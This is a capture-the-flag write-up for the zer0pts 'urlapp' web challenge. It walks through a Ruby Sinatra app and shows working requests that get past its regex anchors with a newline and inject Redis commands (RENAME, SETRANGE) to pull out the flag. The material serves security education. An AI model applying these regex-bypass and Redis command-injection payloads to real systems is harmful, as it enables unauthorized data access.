# ▼▼▼urlapp(Web, 426pts, 32/432=7.4%)▼▼▼  
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

※Number of teams that answered one or more questions, **excluding Survey and
Welcome**: 218

⇒32/218=14.8%  
  
\---

## 【Check source code】

### 1.docker-compose.yaml

```  
version: '3'  
services:  
redis:  
image: redis:5  
command: "redis-server /redis.conf"  
volumes:  
\- "${PWD}/challenge/redis.conf:/redis.conf"  
ports:  
\- 6379:6379  
app:  
build: .  
ports:  
\- 8004:4567  
```  
↓

The redis server may have open ports to the outside. (may be blocked by WAF)

↓

**(Try 1)**

`redis-cli -h 3.112.201.75 -p 6379`

↓

Can not connect. It is prevented by WAF...

\---

### 2.Dockerfile  
```  
FROM ruby:2.7

RUN mkdir /app  
WORKDIR app

ADD challenge/Gemfile Gemfile  
ADD challenge/Gemfile.lock Gemfile.lock

RUN bundle install

ADD challenge/app.rb app.rb  
ADD challenge/index.html index.html  
ADD challenge/flag.txt flag.txt

CMD bundle exec ruby app.rb -s WEBrick -e production -p 4567  
```  
↓

Find flag location.

\---

### 3.app.rb  
```  
require 'sinatra'  
require 'uri'  
require 'socket'

def connect()  
sock = TCPSocket.open("redis", 6379)

if not ping(sock) then  
exit  
end

return sock  
end

def query(sock, cmd)  
sock.write(cmd + "\r\n")  
end

def recv(sock)  
data = sock.gets  
if data == nil then  
return nil  
elsif data[0] == "+" then  
return data[1..-1].strip  
elsif data[0] == "$" then  
if data == "$-1\r\n" then  
return nil  
end  
return sock.gets.strip  
end

return nil  
end

def ping(sock)  
query(sock, "ping")  
return recv(sock) == "PONG"  
end

def set(sock, key, value)  
query(sock, "SET #{key} #{value}")  
return recv(sock) == "OK"  
end

def get(sock, key)  
query(sock, "GET #{key}")  
return recv(sock)  
end

before do  
sock = connect()  
set(sock, "flag", File.read("flag.txt").strip)  
end

get '/' do  
if params.has_key?(:q) then  
q = params[:q]  
if not (q =~ /^[0-9a-f]{16}$/)  
return  
end

sock = connect()  
url = get(sock, q)  
redirect url  
end

send_file 'index.html'  
end

post '/' do  
if not params.has_key?(:url) then  
return  
end

url = params[:url]  
if not (url =~ URI.regexp) then  
return  
end

key = Random.urandom(8).unpack("H*")[0]  
sock = connect()  
set(sock, key, url)

"#{request.host}:#{request.port}/?q=#{key}"  
end

```

\---  
## 【Goal】

```  
before do  
sock = connect()  
set(sock, "flag", File.read("flag.txt").strip)  
end  
```  
↓

The flag is stored in redis and is initialized at each access.

\---

## 【Vulnerability identification】

```  
get '/' do  
if params.has_key?(:q) then  
q = params[:q]  
if not (q =~ /^[0-9a-f]{16}$/)  
return  
end

sock = connect()  
url = get(sock, q)  
redirect url  
end

send_file 'index.html'  
end  
```  
↓

In Ruby, regular expressions can be bypassed by **CRLF injection**.

In Redis, NoSQL Injection vulnerability by **CRLF injection**.

\---

**(Try 2)** In Ruby, regular expressions can be bypassed by CRLF injection.

try to get the flag in redis.

↓

`GET /?q=flag%0a0000000000000000` ⇒ No response!!

↓

Since Dockerfile is given, build the environment and check the log.  
```  
11.108.19.80 - - [08/Mar/2020:04:51:05 +0000] "GET /?q=flag%0a0000000000000000
HTTP/1.1" 302 - 0.0019  
[2020-03-08 04:51:05] ERROR URI::InvalidURIError: bad URI(is not URI?):
"http://my_server/flag{secret}"  
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:67:in `split'  
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in `parse'  
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:117:in `convert_to_uri'  
/usr/local/lib/ruby/2.7.0/uri/generic.rb:1101:in `merge'  
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:298:in `setup_header'  
/usr/local/bundle/gems/rack-2.2.2/lib/rack/handler/webrick.rb:17:in
`setup_header'  
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:225:in `send_response'  
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb:112:in `run'  
/usr/local/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'  
```

↓

Flag can be obtained from redis.

After the value is reflected in the **Location header**, it seems that **No
Response** is caused by **{** and **}**.

\---

**(Try 3)** In Redis, NoSQL Injection vulnerability by CRLF injection.

Try running the redis command **'set test test'**.

↓

```  
POST / HTTP/1.1  
Host: 3.112.201.75:8004  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 39  
url=%0aset%20test%20test$0a0000000000000000  
```  
↓

`GET /?q=test%0a0000000000000000` ⇒ `Location: http://3.112.201.75:8004/test`

↓

It was confirmed that **the set command could be executed.**

\---

## 【Consider how to get redis flag?】

**Method 1:** Save the flag once in another location and update the flag so
that the flag is not overwritten

**Method 2:** If there is a sleep() function, etc., get the time difference

**Method 3:** Arbitrary code can be executed and data is sent to the outside
with a command like curl

↓

As a result solved by **method 1**.

\---

## 【Investigation of redis function】

I found a command that could be used.

**"RENAME"** : Change the key name

**"SETRANGE"** : Change the number of characters from the beginning to the
specified value

\---

## 【Investigation using two functions】

```  
GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/
※Confirm that kazkiti3 is not used  
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000 ⇒Location:
http://3.112.201.75:8004/  
GET /?q=kazkiti3%0a0000000000000000 ⇒No response  
```

↓

**"RENAME"** is enabled, and it seems that kazkiti3 is set with flag.

\---

flag format is zer0pts{???????}.

↓

Since the beginning is 0th, **"{"** is the **7th**.

\---

### (Check the character length of flag)

Use **"SETRANGE"** to change to **"1"** from the beginning

↓

```  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000 ⇒No response  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%208%201%0a0000000000000000 ⇒No response  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%209%201%0a0000000000000000 ⇒No response  
・・・(Omitted)・・・  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2034%201%0a0000000000000000 ⇒No
response  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ⇒No
response  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2036%201%0a0000000000000000 ⇒Location:
http://3.112.201.75:8004/zer0pts111111111111111111111111111111  
```

↓

flag seems to be **36 characters!!**

\---

## 【exploit】

```  
GET /?q=kazkiti3%0a0000000000000000  
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000  
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ※I changed
it to 35 because it is 36 characters.  
GET /?q=kazkiti3%0a0000000000000000 ⇒Location:
http://3.112.201.75:8004/zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1  
```  
↓

`zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1`

↓

`zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`